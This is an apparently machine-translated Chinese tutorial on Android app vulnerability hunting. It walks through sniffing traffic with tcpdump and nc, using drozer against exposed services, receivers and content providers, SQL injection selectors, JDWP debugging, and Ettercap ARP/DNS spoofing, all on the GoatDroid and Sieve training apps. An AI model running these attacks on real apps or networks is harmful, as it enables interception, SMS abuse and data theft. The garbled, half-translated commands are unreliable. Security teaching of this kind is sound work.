零基础安卓逆向学习之旅(四)APP漏洞挖掘
零基础安卓逆向学习之旅(四)APP漏洞挖掘今天跟大家分享的是如何利用APP漏洞,本期主要是介绍如何发现APP漏洞并利用这些突破进行攻击。
一,通过logcat查看日志信息
logcat是在ADB下的一个查看日志的工具,可以通过adb logcat -help查看其使用。
adb logcat [选项] [过滤器]
[选项]主要是logcat的一些选项
则以标签:priority来过滤日志信息
标签是在日志中的组件,在日志信息中位于优先级后边的组件名
优先主要包括下边几个部
V,verbose(冗长的日志信息)
D,debug(日志中的调试部分)
I,Info(日志类别信息)
W,Warn(警告/错误信息)
E,Error(错误信息)
例如要过滤出错误信息:adb logcat *:E,*表示某个组件,可用具体组件代替。
另外在ubuntu下,也可以通过管道的方式来对输出的日志信息进行过滤。
亚行logcat | grep“ cookie”
亚行logcat | grep“ http”
二,检查网络数据
1. 安装Wireshark
①aptitude search wirehark // 查找wireshark相关包
②sudo apt-get install wirehark // 安装wireshark
2. 在android设备上安装tcpdump
①http://www.strazzere.com/android/tcpdump电子杂志tcpdump的二进制文件
②通过ADB以root权限进入android设备shell模式,创建用于存放tcpdump的目录
mkdir /数据/ tcpdump
chmod 755 / data / tcpdump // 修改目录权限属性
③将tcpdump安装入android设备中
亚行推送tcpdump / data / tcpdump /
亚行外壳chmod 755 / data / tcpdump / tcpdump
./tcpdump -help // adbshell 下测试是否安装成功?
3. 在android设备上安装busybox,获得nc功能
https://busybox.net/downloads/ // busybox下载
https://busybox.net/downloads/BusyBox.html // busybox安装
4. 实时抓取数据包
①android上抓取数据包并输入到相应端口
./tcpdump -i any -w-| busybox nc -l -p 31336
-i any // 监听所有网络接口
-w-//直接以输出流输出(也可输出到文件中)
busybox nc -l -p 31337 // 将tcpdump输入的数据包从31336端口输出。
②本机上端口交互,wireshark实时抓包
亚行转发tcp:12345 tcp:31336 && netcat 127.0.0.112345 | Wireshark –k –S –i –
adb forward tcp:12345 tcp:31336 // 交互本地12345端口与android 31336端口
netcat 127.0.0.1 12345 // 监听本地12345端口数据
最后将数据包输入到wireshark进行实时包显示:
-k // 启动wireshark进行包的抓取
-S // 实时更新包
-i-// 将管道的输入作为wireshark的包接口输入
5.攻击服务
对于部分没有设置好的适当权限的服务,容易导致在没有如何权限请求下,在后台执行着敏感的操作。
<serviceandroid:name =“。services.LocationService”>
<意图过滤器>
<actionandroid:name =“ org.owasp.goatdroid.fourgoats。
services.LocationService“ />
</ intent-filter>
</ service>
</ application>
<uses-permissionandroid:name =“ android.permission.SEND_SMS” />
<uses-permissionandroid:name =“ android.permission.CALL_PHONE” />
<uses-permissionandroid:name =“ android.permission。
ACCESS_COARSE_LOCATION“ />
<uses-permissionandroid:name =“ android.permission。
ACCESS_FINE_LOCATION“ />
<uses-permissionandroid:name =“ android.permission.INTERNET” />
</ manifest>
例如上边的AndroidManifest.xml代码片段服务:的地理位置信息,可以通过drozer直接枚举权限为空的服务,并相应命令启动服务
dz>运行app.service.info --permission null
dz>运行app.service.start --action --category -data-uri -组件 --extra -模仿类型
6,攻击广播接收器
当一个广播接收器没有设置合适的权限时,容易接收到不可信输入,从而进行恶意操作 。
1)广播接收机突破实例
<接收器
android:name =“ .broadcastreceivers.SendSMSNowReceiver ”
android:label =“ SendSMS”>
<意图过滤器>
<actionandroid:name =
“ org.owasp.goatdroid.fourgoats.SOCIAL_SMS ” />
</ intent-filter>
</ receiver>
</ application>
<uses-permissionandroid:name =“ android.permission.SEND_SMS ” />
<uses-permissionandroid:name =
“ android.permission.CALL_PHONE” />
<uses-permissionandroid:name =
“ android.permission.ACCESS_COARSE_LOCATION” />
<uses-permissionandroid:name =
“ android.permission.ACCESS_FINE_LOCATION” />
<uses-permissionandroid:name =“ android.permission.INTERNET” />
</ manifest>
这个app中接收器授予了android.permission.SEND_SMS权限,而又没设置合适的权限进行保护,直接暴露给其他应用,可以被直接启动,并且如果该接收器的动作代码如下:
Goatdroid.fourgoats.SOCIAL_SMS操作:
公共voidonReceive(Context arg0,Intent arg1){
上下文= arg0;
SmsManager sms = SmsManager.getDefault();
捆绑包bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString(“ phoneNumber”),为空,
bundle.getString(“ message”),null,null);
Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,
Toast.LENGTH_LONG);
}
代码中没有对调用此接收器进行预先进行检查,并直接从捆绑对象获取字符串值,作为sendTextMessage参数填充入,从而导致可以轻松发送任意短信。
7. 通过drozer启动广播接收器
dz>运行app.broadcast.send --action --category
--component --data-uri --extra --flags --mimetype
对上边实例进行短信发送:
dz>运行app.broadcast.send --actionorg.owasp.goatdroid.fourgoats。
SOCIAL_SMS-组件org.owasp.goatdroid.fourgoatsorg.owasp。
Goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED
通过启动该接收器并预期字符向02029821468号码发送PWNED。
8.枚举有防御的内容提供商
通常内容提供者中包含有很多有价值的信息,并且攻击是通过恶意的intent来请求内容提供者,这样的意图包含着恶意的URI字符让contentprovider进行处理。
1)drozer 枚举可能有突破的内容提供商
dz>运行app.provider.info --permission null // 枚举没设置权限的内容提供商
dz> run app.provider.finduri // 查找包的有效内容URI字符串,通过查找到的内容URI,可以查找到突破口来提取内容提供者的数据 。
2)从有防御的内容提供商中获取数据
通过上边的方式获取内容URI,如果该URI无需读权限即可获取数据。
运行app.provider.info –权限为空
运行app.provider.finduri
获取无权限的URI信息:
dz>运行app.provider.query
对上插图URI:“ content:// downloads / my_downloads”获取信息。
如包含用户敏感信息的内容URI没有进行权限设置将容易遭到恶意攻击
有些在对内容提供者设置路径权限时,当匹配类型(匹配类型)使用了PATTERN_LITERAL时,Android权限框架将仅在所请求的路径与定义的路径精确匹配时,才会强制执行检查权限。
三,实例
在下方网址上下载apk,并安装于android设备上。
https://www.mwrinfosecurity.com/system/assets/380/ original / sieve.apk
通过查看该应用的提供商相关信息,该应用使用了PATTERN_LITERAL匹配模式保护路径键,当试图使用dorzer查询该路径时,会应权限受拒。
但当将路径变换为Keys /时,则不会检查路径,可顺利查询数据。
由于该app进行PATTERN_LITERAL匹配模式只定义了/ Keys,而/ Keys /则没有定义访问权限,所以可以顺利获取数据。
1.向contentprovider插入数据
当一个内容提供者没有设置好写入权限限制时,攻击者则可以恶意地将数据插入到其SQLite数据库中。
1)运用drozer插入数据
在向内容提供者插入数据前,先要知道数据的结构及数据名称等相关信息。
dz>运行app.provider.columns
如实例app的命令如下:
dz>运行app.provider.columns content://com.mwr.example.seive。
DBContentProvider /密码
当发现数据库中数据的结构及名称后,将有利于进行进一步攻击,插入数据。
dz>运行app.provider.insert [-布尔[名称] [值]] [-整数[名称] [值]] [-字符串[名称] [值]] ...
通过drozer向可插入数据的URI的执行命令如上,其支持插入的数据类型有
--boolean –double –float –integer –long –string –short。
如向上边的实例中插入数据:
dz>运行app.provider.insertcontent://com.mwr.example.sieve。
DBContentProvider / Passwords --int _id 3-已注入字符串用户名-已注入字符串服务--string密码woopwoop --string电子邮件myspam@gmail.com
显示出成功插入的数据,其中密码中的woopwoop密码要想可以可以正常使用,则应像前边密码一样先进行base64编码再插入数据库中。
2.枚举有SQL注入防御的内容提供者
如一个应用对用户认证的方式是从数据库中进行对应的查询,其代码如下:
公共布尔isValidUser(){
u_username = EditText(一些用户值);
u_password = EditText(一些用户值);
//一些不重要的代码在这里...
字符串查询=“从users_table中选择*,其中username ='” +
用户名+“'和密码=' ” + u_password +“ '”;
SQLiteDatabase数据库
//一些不重要的代码在这里...
光标c = db.rawQuery(p_query,null);
返回c.getCount()!= 0;
}
当用户输入的密码为:或or1'='1',则查询语句转换:select * from users_table其中username ='“ + u_username +”'andpassword = '或'1'='1' ,结果都为真,从而数据库所有用户都会被返回出来,运用drozer查询有SQL注入的contentprovider可以尝试:
dz>运行app.provider.query –选择“ 1 = 1”
dz>运行app.provider.query –选择“ 1-1 = 0”
dz>运行app.provider.query –选择“ 0 = 0”
dz>运行app.provider.query –选择“(1 + random())* 10> 1”
3,利用可调试的app
drozer 查看设备上可调试的app:
dz>运行app.package.debuggable
当可调试的应用在Android设备的VM上运行时,可以通过Java调试连接协议(JavaDebug Wire Protocol)接口,将本地主机连接到VM上,从而获取正在运行的可调试应用的信息。
adb jdwp // 列出可连接到VM的端口
选择一个端口,执行命令使本地端口与VM端口交互
adb转发tcp:[本地端口] jdwp:[设备上的jdwp端口]
如adb forward tcp:31337 jdwp:307266
jdb –attach localhost: // 通过Java调试器使本地主机访问VM
jdb –attach本地主机:31337
在jdb会话中,执行下边命令提取VM类信息:
班级
方法 // 查看指定类的所有方法
field // 查看类的域或类属性
4. app中间人攻击
1)安装攻击工具Ettercap
sudo aptitude search ettercap //查找ettercap相关包
sudo aptitude install ettercap-graphical //安装Ettercap
2. 配置/usr/share/ettercap/etter.dns文件的DNS配置
须藤vim /usr/share/ettercap/etter.dns
如上图,为将本地主机冒充为DNS服务器,为部分域名配置上主机IP地址。
5. 启动中间人攻击
ettercap –T –I [接口] –M ARP:远程–P dns_spoof / [ 目标地址] / [网关地址] /
连上网络的网卡(无线网卡,与android设备一对网段)
[ 目标地址] android 设备IP地址
[ 网关地址] 默认网关IP地址
稍过一会,在android设备上用firefox浏览器访问www.baidu.com,显示ettercap记录下网络流量
用wireshark抓包,可看到这次ARP欺骗中的ARP数据包及DNS请求包
结语: 今天跟大伙分享的是如何利用app突破
祝资源共享吧越来越火!
页:
[1]